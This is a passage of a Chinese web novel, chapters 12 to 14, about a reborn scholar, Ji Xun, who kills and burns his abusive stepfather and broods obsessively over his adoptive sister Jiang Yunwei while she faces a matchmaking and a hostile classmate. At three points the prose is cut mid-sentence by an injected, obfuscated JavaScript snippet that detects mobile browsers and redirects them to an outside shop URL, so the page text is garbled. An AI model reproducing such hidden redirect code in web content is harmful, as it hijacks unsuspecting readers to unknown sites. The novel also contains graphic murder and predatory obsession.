伴随着这话音的落下,一柄冰凉的长剑如蛇般缠上葛三的脖领,葛三吓得浑身发颤,神情惊恐,“有话……好好说,为何非要动手动脚的,杀了我对你有什么好处。” 季珣将剑往前送了一分,殷红的血液沿着剑尖滴落,在被褥上泅出一道道深色的痕迹,“我本来也想留你一命,可惜你这人,实在太过贪得无厌。” 看着季珣眸中毫不掩饰的杀意,葛三吓得脸色发白,他仓惶的后退着,涕泗横流的求饶,“求求你,饶我一命,我保证不会再来骚扰你们,我离开柳溪村,跑的远远的,再也不出现在你们面前。” “晚了。”季珣漆黑的瞳仁不带丝毫感情的望着他,他勾唇一笑,笑意却半点未达眼底。 “为什么?为什么非是今日?”葛三嘴唇一张一合,嗬嗬吐着血沫,眸中充满了恐惧和不甘。 他此刻心中唯有无尽的悔恨。 倘若早知道季珣是这样一个丧心病狂的疯子,当初就不应该去招惹他! “明日我便要去学堂了,走之前,帮阿姐将讨厌的人处理掉。”季珣语气很淡,似乎只是在说明日天气如何这样微不足道的小事。 “你……”葛三颤抖着手指着他,神情怨毒,“你真是个疯子,别装了,你什么时候真心将她当成姐姐看待过了?” 季珣眼睫低垂,极轻的叹息了一声,“你说的不错,我确实从来有一刻真心将她当成过我的姐姐,那又如何?” 死亡的恐惧笼罩在头顶,葛三终是控制不住对求生的渴望,他跪在地上,拼命求饶,“阿珣啊,你放过我吧,好歹我和你娘也曾经有过一场夫妻情分,我也算是你爹啊。” “我没有你这样的爹。” 季珣居高临下的望着他,语气森寒。 话毕,他手上动作骤然用力,只见一道寒光闪过,葛三的头颅顿时“骨碌”一声从脖子处滚落在地,猩红鲜血喷洒的满地都是,他双眸圆睁,满面惊恐之色,一看便是死不瞑目。 季珣白皙的面容上染了几丝血迹,半弯惨淡的月透过破败的窗照射进来,在他的面上覆上一层寒霜。 季珣转过身,将桌上的油灯点燃。 昏黄灯光摇曳,在墙面上映出一道明亮的光影。 他将油灯扔进被褥之中,刹那间,火舌就在屋内蔓延开来,瞬间吞噬了整个茅草屋。 12. 给你找了门好亲事 季珣踏着夜色回到家中,他沐浴过后,换了一身干净的衣裳。 在经过隔壁姜芸薇的房间时,他鬼使神差的停住了脚步,抬手轻推开屋门,如鬼魅般悄无声息的走了进去。 床上女子闭着眼睛熟的正睡,她无意识的将被褥拥在胸前,乌黑的长发如乌云堆砌在枕上,露出半截雪白的手腕,清清渺渺的月光下,她纤长白皙的脖颈如同上好的暖玉,姝颜柔美更胜皎月。 季珣指腹沾上去,挨着温热的肌肤,缓缓描摹她眉眼的轮廓,又慢慢游移到脖颈处。 她纤细的脖颈在他的大手间,隐约可见青色血管,恍若纤弱的蝴蝶翅羽,一折就断。 他的阿姐这般柔弱可欺,若是没有他的庇护,如何在这个风雨飘摇、人欲横流的世道活下去?恐怕早就被人啃得骨头渣都不剩了。 这俗世的功名利禄、富贵荣华于他而言,已经变得毫无意义。 季珣从来不信什么因果循环,报应不爽,然而这一刻,却忍不住在心中暗暗想着:兴许前世他真的欠姜芸薇太多,所以老天才给了他重来一次的机会。 他的阿姐。 平庸、老实,甚至可以称得上无趣,明明那般怯懦胆小,为了他,却敢鼓起勇气上京告御状,要知道在晋朝有明文规定,拦轿告御状者,不论情词虚实,俱杖三十。 姜芸薇这般弱不禁风,三十板子下去,她焉能有活路?就算不死也是去了半条命。 她总是用她自己的方式,笨拙的、毫无保留的将一颗真心赤诚的捧到他面前,为何他前世却没有发现呢? 季珣视线落在她莹润饱满的唇上,眸光幽深如潭,他嗓音低沉的呢喃自语,“阿姐,葛三已经死了,往后再也没有人能欺负你了。” 至于王二此人,胆小如鼠,恐怕经历了上次的事情后,他再也不敢找姜芸薇的麻烦了,况且这个节骨眼上如果王二再出事,容易惹人怀疑。 季珣帮她掖好被角,又悄无声息的离开了。 * 翌日清晨。 姜芸薇醒过来的时候,季珣已经去学堂了。 灶台上放着温好的小米粥和两个尚且冒着热气的胡饼,她瞧见后,心中十分熨帖。 季珣果真是长大了,都会照顾人了,将来嫁给他的姑娘定然分外幸福。 吃过早膳后,姜芸薇将这些日子做的绣品打包好,坐牛车去了镇上的绣坊换了银钱,又置办了些日常所需的物品。 虽然上次从陈掌柜那里得了一百两银子,然而,姜芸薇是个闲不住的,倘若不做些针线活,每日独自一人待在家中也十分无趣,况且,她想的十分长远,倘若将来季珣真当上了官老爷去了京城,要打点花钱的地方多如流水,这些银子肯定是不够的。 而且,来日季珣娶妻,也是需要银子的,她得早做打算。 姜芸薇提着从镇上买来的东西,正要赶回家做午饭,身后突然传来一道熟悉的嗓音将她叫住,“芸娘。” 她回头一看,竟是王大娘,母亲在世的时候,和王大娘关系尚可,大家都是乡里乡亲的,平日里自然也是低头不见抬头见,她弯了弯唇,露出个乖巧的笑容,“王大娘。” 王大娘瞧见她的笑容,不由晃了一下神。 姜芸薇生的实在水灵清秀,尤其一双水漾漾的双目,像是会说话似的,笑起来的时候脸颊上梨涡浅浅,恍若一尊漂亮的小玉观音,真是个难得的美人胚子。 她在村子里这么多年,还从未见过这样的好颜色,这样出挑的模样,就算是放在青阳镇上也丝毫不逊色。 说起来,她那个弟弟相貌亦是分外出众,一家子都生的好,待在柳溪村实在是可惜了。 王大娘握住她的手,满面笑意的开口说道:“芸娘,我给你找了一门好亲事,男方就住在青阳镇上,生父早逝,家里只有个老母亲,他比你大三岁,现在是云隐书院的掌书,专门负责书院里面图书的保管和借阅,说起来,他和你弟弟一样,也是个秀才公呢,虽然家中不算多富裕,然而人品秉性却是没话说,对母亲分外孝顺,是个老实本分的孩子。” 姜芸薇一怔,她上次还以为王大娘只是随口一说,没想到她竟然真的将此事放在心上了。 姜芸薇蹙了蹙眉,心中十分踌躇为难。 季珣还未长大,最晚来年就要进京下场考试了,这个节骨眼下,她哪里能够放得下心成亲呢? 见她低头不语,王大娘不禁有些着急,催促问道:“怎么样?芸娘,你莫不是瞧不上对方的家境?” “怎么会呢,王大娘。”姜芸薇连忙解释道:“我知道婶子是真心待我好,否则我一介孤女,如何能够高攀得上秀才公?只是我家中的情况婶子也知晓,阿珣明年秋天就要下场考试了,倘若这个时候我嫁人了,家里便再没人能够照顾阿珣了,我实在放心不下。” “你这孩子真是死脑筋。”王大娘伸手在她额头上轻点了一下,语气颇有几分恨铁不成钢的意味,“旁人的事情再要紧,也得先抓紧自己的终身大事啊,有些缘分错过了可就没了。” 姜芸薇平日里一向不擅长拒绝别人,她面露为难之色,小声说道:“婶子,多谢你的好意,我知晓的,只是我现在真的没这个想法。” 王大娘叹了口气,放柔了语调,循循善诱的劝道:“傻孩子,又不是相看了就要立马成亲,我们又不是那些城里头的大户人家,有那么多繁琐的规矩,你们两人可以先见一面,若是合适,便先慢慢相处着,若是不合适,那就罢了。” 姜芸薇咬着下唇不语。 王大娘趁热打铁,“你看怎么样?今日那男方,正好就在我们柳溪村,他姑母嫁到了我们村子里,他今日来看望姑母,你要是同意,我就立马安排你们现在见上一面。” 姜芸薇内心陷入了天人交战,看着王大娘殷切的眼神,拒绝的说终究是说不出口,最终,她只好颔首同意了,“好,就依婶子的,那就见上一面吧。” * 两人一同来到了王大娘的家中。 王大娘拍了拍她的手背,安抚了她几句后,柔声道:“芸娘,你先坐一会,我这就去叫他过来。” 说完,便急匆匆的出门去了。 徒留姜芸薇独自一人,在屋内坐立难安。 其实当初季母在世的时候,也曾张罗着要给她寻找合适的夫婿。 姜芸薇毕竟也才十六岁,正是知慕少艾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659068|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪,她也曾幻想过,自己将来的夫婿会是怎样一个人?也曾期盼过,婚后与夫君两人举案齐眉,相濡以沫。 不求大富大贵,只求平淡幸福。 许是亲眼见过季母失败的婚姻,姜芸薇对成亲始终残存着几分天然的恐惧,葛三没和季母成亲之前,也是体贴入微,然而成亲后不久,便原形毕露,酗酒打人。 想到接下来要面临的场面,姜芸薇心中不禁有些忐忑。 也不知道那位公子究竟是个什么样的人,相貌如何,性情又如何。 其实姜芸薇之所以会答应这次相看,不忍拒绝王大娘的一番好意只是其中原因之一。 还有一个很重要的原因是,她喜欢有才情的男子。 小时候家中虽然贫困,然而每当季母闲暇之时,却总会亲自教姜芸薇读书认字,再加上小时候沾了弟弟的光,她看了不少书。 她是喜欢读书的,只是她是女子,注定没办法像男子一样入学堂、参考科考。 她理想中的夫婿便是温文尔雅的读书人。 就像弟弟季珣这样。 文采斐然,翩翩君子如玉。 姜芸薇正想的入神,门外突然传来一阵脚步声。 她下意识的站起了身,手指搓了搓指尖,心中有些紧张起来。 脚步声越来越近,她抬目望去。 只见王大娘的身旁跟着一位身着淡青色衣衫的年轻男子,男子身躯挺拔,肩膀宽阔,肤色偏黑,生的剑眉星目,英武不凡,一眼望去,实在不像是弱不禁风的书生,倒更像是武夫。 似乎是察觉到姜芸薇的视线,男子倏地朝她看来。 两人目光霎时对上。 他的眼睛很亮,像是燃了一簇火焰,姜芸薇脸颊一热,心砰砰直跳,她连忙垂下头,避开他的视线。 眨眼间,两人便走至了跟前。 王大娘拉着姜芸薇的手,笑着同她介绍起来,“芸娘,这位便是我同你说过的文公子。” 闻言,姜芸薇又飞快的抬头看他一眼,却恰好撞上文司祁温柔的眼神,他的视线似乎一直落在自己的身上,始终没有移开。 姜芸薇有些紧张的咽了咽口水,双颊因为他长久的注视染上一层红晕,她略微欠身行了个礼,小声嗫喏道:“文公子。” “姜姑娘。”文司祁笑着回了一礼。 他的神情坦然,并无任何扭捏羞涩之意,和姜芸薇完全相反。 王大娘目光在两人身上来回打量,心中分外满意。 文司祁高大挺拔,姜芸薇秀美乖巧,这两人站在一起,倒是分外登对,倘若这事情能成,这媒人钱是少不了了。 王大娘眼珠子转了转,笑道:“我去给你们煮点茶水,你们先聊。” 说完,转身匆匆进了屋里,给两人制造独处的空间。 王大娘离开后,姜芸薇越发局促,手脚都不知该往何处放,手指下意识的搅合着衣角。 看出了她的紧张,文司祁笑着主动找起了话题,“姜姑娘,你不必紧张,说起来,我还认识你弟弟呢。” 闻言,姜芸薇果然瞬间被吸引,她蓦地抬起头,双目盈盈似水,“文公子认识阿珣?” 13. 你配不上我阿姐 文司祁愣了愣。 眼前的少女,黑亮的瞳仁恍若浸在两汪秋水里,琉璃一般清澈,她看起来是如此的纯粹,似乎容不得丝毫的丑恶和欺瞒。 他倒是没有想到,文大娘这次给他介绍的竟然是这样一位单纯温婉的女郎,倒是和她的弟弟季珣的性情大相径庭。 文司祁笑道:“当然,我在云隐书院任掌书,今日是我休沐的日子,所以特意来看看姑母,你弟弟季公子在书院每次都拿第一,可以说是无人不识,我又岂会不知呢?” 姜芸薇轻抿嘴角笑了一下,“阿珣他向来用功。” 顿了顿,她忍不住又问道:“对了,文公子,你知道阿珣他平日里和同窗们的关系如何吗?” 上次季珣和林遇两人之间似乎闹了些矛盾,也不知道他们如今关系是否缓和了,这些日子,姜芸薇心中总是牵挂着此事。 文司祁如实答道:“据我所知,季公子在学堂都是独来独往,并没什么朋友。” 闻言,姜芸薇心中不禁有些担忧。 季珣虽然课业成绩都是拔尖的,不需要令人操心,然而他平日里却太过沉默寡言,总是将什么事情都藏在心里,姜芸薇真担心他憋出什么病来。 似乎猜出了她心中所想,文司祁笑着安慰道:“姜姑娘不必担心,季公子文采斐然,绝非池中之物,况且知已本就难觅,独来独往也未尝不好。” 姜芸薇点了点头,附和道:“文公子言之有理。” 虽然嘴上这么说,然而她的心中还是有几分怅然,林遇光风霁月,芝兰玉树,她是真心实意希望两人能够交好,如此一来,季珣在书院也不会太过孤单。 见她言语之中满是对季珣的关切和担忧,文司祁忍不住感慨道:“姜姑娘和季公子的姐弟之情,实在令人艳羡。” 王大娘恰好从屋内走出,听到这句话后,立马接过话茬道:“芸娘这个孩子,那是出了名的孝顺,季母在世的时候,可没少在我跟前夸她,不是我吹牛,将来谁要是娶了她,那可真是八辈子修来的福气。” 姜芸薇脸“腾”的一下就红了,她咬着嘴唇,眼神躲闪,一脸羞涩,“王大娘,你快别乱说了。” “哟,还害羞了。”王大娘揶揄了一句。 文司祁笑着帮姜芸薇解围,“王大娘,你就别取笑姜姑娘了。”顿了顿,他又道:“对了,姜姑娘,我明日就要回书院了,你可有什么东西需要我帮忙带给季公子的?” 姜芸薇面露犹豫之色,“会不会太麻烦了?” 文司祁笑道:“不会,顺手的事情,没什么麻烦的。” 姜芸薇思虑一瞬后,将今日在街上买来的几块酱牛肉和一些腌肉打包好,递给文司祁,“文公子,那麻烦你了。” 她听闻学堂的饭菜都不好吃,而读书又费脑子,倘若吃都吃不好,又如何能够将心思都花在学习上? 文司祁拿在手里掂了掂,沉甸甸的,看来她几乎将所有的肉都匀给了季珣,自己只留了一小块。 姜芸薇又递给文司祁一个油纸包,里面装着几块米白色的糕点,“文公子,这个是我今日在街上买的云片糕,是给你吃的。” 文司祁连忙推辞,“不用了,姜姑娘自己留着吃就好了。” 姜芸薇坚持道:“文公子不必客气,只是我的一点小心意罢了,不值几个钱的。” 见此情形,就连一旁的王大娘也忍不住插话,“文家小子,既然是芸娘的一番心意,你就拿着吃吧,别客气了。” 文司祁不好再拒绝,只得伸手接过。 * 晌午,季珣独自一人在书院的饭堂用饭。 隔壁的几个学子频频回头,视线总是有意无意的落在他的身上。 季珣神情淡漠,对这些眼神视若无睹。 他知道这些人在看什么。 方源仗着家中有些小钱,买通了饭堂打饭的斋夫,只给他打剩饭剩菜,而且都是些素菜,看着便没什么胃口。 这些人都在等着看他的反应。 前世,这样的事情不知道发生过多少回了,他早就已经习以为常了。 以前,每一次林遇瞧见了都会替他打抱不平,还会主动将自己从家中带来的饭菜分给他吃,自从季珣主动疏远他后,这段时日,两人已经许久未说话了。 “季公子。” 耳旁蓦地响起一道声音。 季珣抬起头一看,瞧见一个陌生的男子站在自己面前。 季珣平静的看着对方,等着后者主动开口。 文司祁在他身旁的椅子上坐下,拿出一个包袱放在桌面上,笑着开口道:“这是姜姑娘托我带给你的东西。” 此言一出,季珣缓缓皱起了眉头,眸底掠过危险的暗芒,他紧盯着文司祁,似乎恨不得在对方的脸上戳出个窟窿,“你是何人?如何认识我阿姐?” 文司祁愣了一下。 季珣双眸犹如深不见底的寒潭,幽幽望过来时,如毒蛇一般阴冷诡谲,让人不觉心颤。 文司祁笑着解释道:“是王大娘撮合我们认识的,这包袱是你阿姐托我带给你的。” 季珣接过包袱,打开看了一眼,便知道眼前的男子并未说谎,确实是阿姐会准备的东西。 “你阿姐待你可真好啊。”文司祁并未在意季珣冷淡的态度,自顾自的絮叨起来,“她非常关心你呢,还问我你和同窗相处的怎么样,真羡慕你们两人之间的姐弟情分。” 季珣双眸微眯了一瞬,心中无端涌起几分烦躁感。 好吵。 眼前这人,实在聒噪。 听到王大娘的名字,他便知道了是怎么回事。定然是王大娘想要撮合这人和阿姐,前世,他连中三元后,王大娘没少给他介绍女郎,都被他毫不留情的拒绝了。 季珣从未想过,有朝一日,姜芸薇会嫁给旁人,印象中,前世一直到他参加科考高中,她都始终没有嫁人。 季珣突然抬眸,用审视的目光将眼前的男人从头到脚打量了一番,紧接着,他语气平静的开口,“你配不上我阿姐。” 这话犹如一把钢刀,将文司祁钉在了原地,他整个人都呆住了,待到反应过来季珣话中的意思后,屈辱感顿时油然而生,他语气中多了几分恼意,“季公子这话是什么意思?” 文司祁自认为自己相貌尚可,而且又是个秀才,而姜芸薇不过只是一个普通的农女,虽然长得有几分姿色,然而自己配她不是绰绰有余? “没什么意思,你接近我阿姐,其实是另有目的吧?”季珣笑了笑,嘴角弧度轻蔑,似乎压根没将眼前之人放在眼里。 他前世身居高位,见过的人数不胜数,只需一眼,便能够看得出来,眼前之人接近姜芸薇,乃是别有所图,这样心机深沉的人,如何能够配得上他单纯良善的阿姐? 文司祁愣了一下,紧接着,面上露出被戳穿后的羞恼之色,语气有些气急败坏,“你胡说什么,姜姑娘温柔贤淑,我是真心喜欢他。” “让我猜猜看,你真正的目的应该是想要接近我吧?你料定我将来前途无量,所以想通过阿姐,和我攀上关系?想必要给我送东西,也是你主动提起的吧?”季珣不急不缓的开口说道,脸上带着蔑视的神情。 姜芸薇平日里最怕麻烦别人,又怎么可能会主动提起让旁人帮忙带东西来书院给他呢? 文司祁怒视着对方,心中掀起了滔天巨浪。 他没有想到,季珣居然一下子就猜出了他藏在心目中的真实想法。 起初,王大娘说要给他说媒,听闻对方只是一个村妇,他并不情愿,然而,在得知对方的弟弟就是云隐书院那个拿了院试第一的学子后,他又改变了主意。 他也曾是云隐书院的学子,怀着满腔抱负,想要参加科考,谋得一官半职,报效国家,然而,考了好几次却都是名落孙山,这些年,考试花光了家中的所有积蓄,他不得不放弃继续读书,在书院找了份差事。 然而,文司祁始终没有放弃这个梦想,他早就听闻了季珣的名号,每次考试都名列前茅,就连院士都对他寄予厚望,说此子绝非池中之物。 文司祁决定抓住这个从天而降的机会,将来,季珣若是金榜题名,而他做为季珣的姐夫,自然也能够沾亲带故,谋得一官半职。 文司祁再也没有脸面待下去,气的拂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659069|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖转身离开了。 季珣似乎压根并未将这个小插曲放在心上,他打开包袱,拿出阿姐送来的卤牛肉,配着米饭,慢条斯理的吃了起来。 时间如流水般,眨眼之间,便又过了一个月。 这段时日,文司祁没有再联系她。 起初,姜芸薇极为忐忑不安,在心中想着是不是自己有什么地方没有做好,让对方不高兴了。 后来,她便彻底放下了此事,同时也悄悄的松了口气,如此这般也好,她对文司祁本来就没那方面的意思,既然他自己主动断联,倒也省的她费心思去思考该如何拒绝。 王大娘后来又来旁敲侧击的问过好几次,都被姜芸薇给搪塞过去了。 时间一久,她便不再提及此事了,这次的相看,自然也就这样黄了。 * 南方早春多雨,一连下了多日,空气中都氤氲着一股子黏腻的湿意,淅淅沥沥的雨沿着半开的窗倾泻进来,溅起细小的水珠。 季珣坐在窗边,任由雨珠落在脸上,他俊美的面容上恍若笼罩着一层薄薄的雾气,整个人看上去愈发充满了距离感,令人不敢接近。 “学院外面来了个俏生生的小娘子,生的可美了,雪肤乌发,明眸皓齿,不知道是来找谁的。” “好像是来找他弟弟的,不知道是谁这么有福气,有一个这么好的姐姐。” 身后的学子正在叽叽喳喳的的议论着。 闻言,季珣霍然站起身,撑着伞朝着院门外的方向大步走去。 他走到书院门口,远远的便瞧见了站在门口的女子。 她穿着一身竹青色的衣衫,手中撑着一把月白色的油纸伞,站在雨幕中,恍若从树林中走出的鬼怪精魅一般。 隔着一层雨幕,犹如雾里看花,她整个人都充满了朦胧感,宛如雨中静静绽放的一株空谷幽兰。 似乎有所察觉,姜芸薇蓦地抬起头,视线朝着季珣的方向看过来。 两人四目相对。 四周风势渐大,雨水落在树叶上发出淅淅沥沥的声响,翠竹摇曳,清风拂过,万物似乎刹那间定格在此刻。 姜芸薇唇边漾起一抹笑容,颊边两个梨涡若隐若现,宛如春花绽放。 这一抹浅淡的笑意恍若一簇烈火将他点燃,这一刹那,季珣似乎能够听到自己的心跳声,在胸腔里疯狂跳动,似乎叫嚣着要从胸口蹦出来。 姜芸薇快步走到他面前,停住脚步,笑着说道:“阿珣,许久未见,你似乎又长高了不少,我今日是来给你送东西的。” 这段时日临近考试,学堂功课很忙,基本上没有时间休息,眼看着天气渐渐热了,姜芸薇不得不亲自来了一趟学堂,给季珣送夏日的衣衫被褥还有一些吃的食物。 季珣没有说话。 两人靠的很近,少女身上的香气若有若无的萦绕在周边,像是一张细细密密的网,将他整个人都包裹在其中。 雨水斜斜的拂在面上,冰冰凉凉的,她的嗓音似乎也浸染了这春日的雨水,多了几分缠绵的意味,像是一把刷子,挠的人心里痒痒的。 季珣接过姜芸薇手中拿着的包袱,嗓音喑哑,多了几分涩意,“多谢阿姐。” “我们姐弟两人,有什么谢不谢的。”姜芸薇笑着说道。 顿了顿,她似乎想到了什么,嗓音沉了几分,“阿珣,葛三他死了,听说他许久未曾出现,后来债主追上门来,才发现他的家里起了火,他早被烧死了。” 她的语气之中,萦绕着几分挥之不去的哀伤。 葛三独自一人住在偏僻的城郊,就连家中起火,都多日无人发现。 季珣蹙了蹙眉,不解的看向她。 她在难过什么,为了一个欺辱过她的恶人? 季珣语气淡漠,不带丝毫的感情,“阿姐何必为了这样一个人难过,他不值得。” 姜芸薇怅然叹了口气,没有说话。 她脑海中忍不住回想起从前的画面。 季母刚嫁给葛三的时候,他也曾将她抱在怀中,亲昵的唤着她的小名,还时常从镇上给她带来许多好吃的。 只可惜后来,一切都变了。 14. 他并不了解姜芸薇 季珣垂下眼帘,遮住了眸中的阴翳。 他的阿姐,还真是心软良善,竟会同情这样一个恶人。 他的心中莫名涌起几分暴虐欲。 葛三一个死人,凭什么牵动阿姐的情绪?早知道当初就应该做的再干净点,让他神不知鬼不觉的消失在这个世界上。 这样,阿姐就只会将注意力放在他一个人身上了。 姜芸薇收回思绪,关切问道:“阿珣,这些日子课业很辛苦吧?别光顾着看书,也要时常休息,千万别熬坏了身子。” 她的嗓音又轻又柔,像是江南缠绵的风,在耳边轻轻拂过。 他的阿姐,这是将他当小孩子哄呢? 雨丝斜飞,姜芸薇几缕发丝被打湿,沾在瓷白的脸庞上,水雾凝在她的眼睫上,犹如一颗晶莹剔透的玉珠。 一阵酥麻的痒意缓缓自心头涌起。 季珣眼尾微垂,压下心中的躁郁,“阿姐放心,我知晓的。” 姜芸薇:“对了,阿珣,上次托文公子给你送来的东西,你可收到了?” 听她提及此人,季珣眸中泛起一丝冷意,“阿姐,此人心术不正,你往后离他远些。” 姜芸薇愣了愣,“文公子吗?我感觉他挺好的呀,为人和善,性情也开朗。” 季珣黑眸沉沉盯着她,那双深不见底的眸子无形中带着强势的压迫感,让人不禁心头一颤。 只听他意味不明的哂笑一声,“阿姐心性单纯,如何识得人心险恶?” 姜芸薇自嘲一笑,“阿珣放心,我和文公子已经许久未见了,人家好歹也是秀才,我又如何配得上他?本就是王大娘乱点鸳鸯谱罢了。” 其实她的心中,对文司祁也是有埋怨的,倘若觉得双方不合适,直说就好了,又何必突然消失,就连王大娘都联系不上他,三番四次来她这里打探究竟是怎么回事。 姜芸薇心中本就有些自卑,她身份低贱,承蒙季母收留,才没被卖入那秦楼楚馆之中,对方看不上她的身世,也是人之常情。 季珣蹙了蹙眉,“阿姐何必妄自菲薄,不过一个秀才罢了,就是王孙贵族,阿姐也配得上。” 倘若前世,他身居高位后将姜芸薇接来身边,那么单单凭借他姐姐这个身份,想要求娶她的人定然也是多如过江之卿。 姜芸薇杏眸微弯,朝着他促狭一笑,“阿珣,那你好好努力,将来考个大官当当,让姐姐也跟着你沾点光,享享福。” 微风轻轻拂过,她如蝶翼般纤长的睫毛轻轻颤动,眼尾勾起一抹月牙般的弧度,笑容里流露出一丝俏皮之意。 季珣眸色黯了黯。 阿姐素来温柔端庄,这还是自己头一次见她露出这般小女儿的娇态。 前世,他从未正眼看过姜芸薇,在他的心目中,他这个姐姐,怯懦、胆小、总是畏畏缩缩的,就连说话都不敢大声,在人群中毫不起眼。 然而,这一刻,他意识到自己错了。 他并不了解姜芸薇。 她并不柔弱,一个弱女子,长途跋涉,从柳溪村到京城,千里迢迢,不畏艰难险阻,只为替他告御状。 这份勇气,这份决心,这颗至纯至善之心。 实在难能可贵。 天下莫柔弱于水,而攻坚强者莫之能胜。她就像水一样,看似柔弱,却能滴水穿石,驰骋天下之至坚。 * “哟,这不是季秀才吗,怎么不好好看书,却在书院门口和女子私会?莫不是仗着自己次次拿第一,便不将书院规矩放在眼里了。” 身旁蓦地传来一道阴阳怪气的嘲讽声。 姜芸薇一怔。 待到反应过来后,她又气又恼,朝着声音来源处望去。 只见一个身着蓝色锦袍的年轻男子,正似笑非笑的打量着她和季珣,目光中带着毫不掩饰的狎昵意味。此人正是方源。 他的身后还跟着一群男子,看样子都是书院的学子。 他们面上都带着不怀好意的笑容。 姜芸薇霎时涨红了脸,她唇线紧绷,怒瞪着方源,“你胡说什么!我是阿珣的姐姐。” “原来是季珣的姐姐啊。” 方源看清楚姜芸薇的相貌,眸中顿时闪过一抹惊艳之色。 美人薄嗔浅怒,面露愠色,眸光流转间,倒是别有一番风情。 虽然不如他心目中的神女王诗婉那般温雅贤淑,仪容端庄,却也是楚楚动人,尤其是那眉眼间的羸弱之态,让人忍不住从心底生出几分摧毁破坏欲。 这样娇柔的女子,在床榻之上,一定十分有滋味。 果然不愧是季珣的姐姐。 虽然厌恶季珣,然而他却不得不承认,季珣生的极为好看,他就是靠这张脸,才赢得了王诗婉的青睐,不过是个乡下来的穷小子,凭什么和自己争! 想到这,方源心中便一肚子的火气,“季珣,今日当着你姐姐的面,我再警告你一次,不许再接近王姑娘,听到没有,再过段时日,我便要去王家提亲了。” 他今日去见了王诗婉,将这个好消息告知她,然而,对方听后却一副悲痛欲绝的神情,这让他如何不生气,他恋慕的女郎,却心心念念都只有季珣这个穷小子! 季珣淡淡瞥他一眼,“我想这话,你该去告诉王姑娘,烦请转告你的未婚妻,请她不要再继续纠缠我。” 这话说的实在冷漠,倘若王诗婉在场,只怕一颗芳心都要破碎了。 方源闻言,更是气的面容扭曲,这个季珣实在可恶!他这是在炫耀吗?自己求之不得的东西,于他而言,却是弃之如敝履。 偏偏他所言不假,书院众人都知晓,王诗婉喜欢季珣,她对其他人都不假辞色,唯有面对季珣的时候,才会流露出娇羞的一面,甚至放下身段主动和他说话。 瞧见两人剑拔弩张的模样,姜芸薇下意识的扯了扯季珣的衣袖。 她从两人之间的对话中,大概弄明白了是怎么回事,感情之事本就不可勉强,这事怨不得阿珣。 然而,眼前这个男人,一看就非常的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668400|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好惹,她害怕季珣惹上麻烦。 思及此,姜芸薇脸上挤出一抹笑,替弟弟解释,“这位公子,阿珣他不是那个意思,既然那位王姑娘是公子你的未婚妻,阿珣往后定然不会再和她有任何纠葛的。” 方源轻嗤一声,“没想到小娘子倒是十分上道,不像你那个弟弟冥顽不灵,这样吧,倘若他愿意跪下来给我磕个头,再当着学堂所有人的面向我道歉,我便大人不记小人过,饶了他这一次。” 姜芸薇脸色一白,看来这人今日是摆明了不肯善罢甘休,他一看就是锦绣堆中娇养出来的富家公子哥,阿珣不过一个普通人,如何能得罪的起这种人? 她下意识的便想要做小伏低,说些软话,替季珣道歉。 似乎察觉到了她的意图,季珣蓦地拉住她的手腕,上前一步,将女人护在身旁。他掀起眼皮,神情淡淡的望着方源,像是在看一只微不足道的蝼蚁,“想要我给你下跪磕头,只怕你无福消受。” 他的眸底暗潮汹涌,周身散发出强烈冰冷的气场,令人不寒而栗。 方源在众人面前被折了面子下不来台,登时怒不可遏,“季珣,你真是敬酒不吃吃罚酒,你等着瞧,我一定让你好看。” 现如今在书院里,他也不方便明目张胆的动手,倘若闹起来,书院院士定然会选择护着自己的得意门生季珣。 瞧见那群人气势汹汹的离开后,姜芸薇秀眉紧蹙,“阿珣,何必同他们硬碰硬呢,万一他们报复怎么办?你一个人势单力薄,如何对付的了那么多人?” 季珣的手还握住她的腕骨上。 纤细,柔美,恍若轻轻一折,便能够折断。 她的手腕上系着一根红绳编织的手链,上面缀着一颗白色的珠子,泛着温润的光泽。 这是母亲在世之时亲手做了送给她的,不值几个钱,她却十分珍视,从未取下来过。 季珣若无其事的收回手,肌肤相触间微有摩挲,好似有一阵细雨飘落心头,“阿姐不必担心,他们不过是嫉妒我罢了,我行得正坐得端,又何必畏惧?” 姜芸薇:“话是这么说没错,然而俗话说,有钱能使鬼推磨,那人一看就是有钱人家的公子哥,我怕他找人对付你。” 季珣视线自姜芸薇忧心忡忡的面容上掠过,黑眸沉沉辨不出情绪,“阿姐这是在担心我吗?” 姜芸薇点点头,“自然,阿珣,你千万别不当回事,这段时日,一定要小心。” 女子黛眉微颦,眉眼间是毫不掩饰的担忧之色。 季珣眼眸一弯,眸中顿生粼粼波光,像雨过天晴的湖光山色,昳丽动人,“阿姐放心,我知晓的。” 姜芸薇呆了一下。 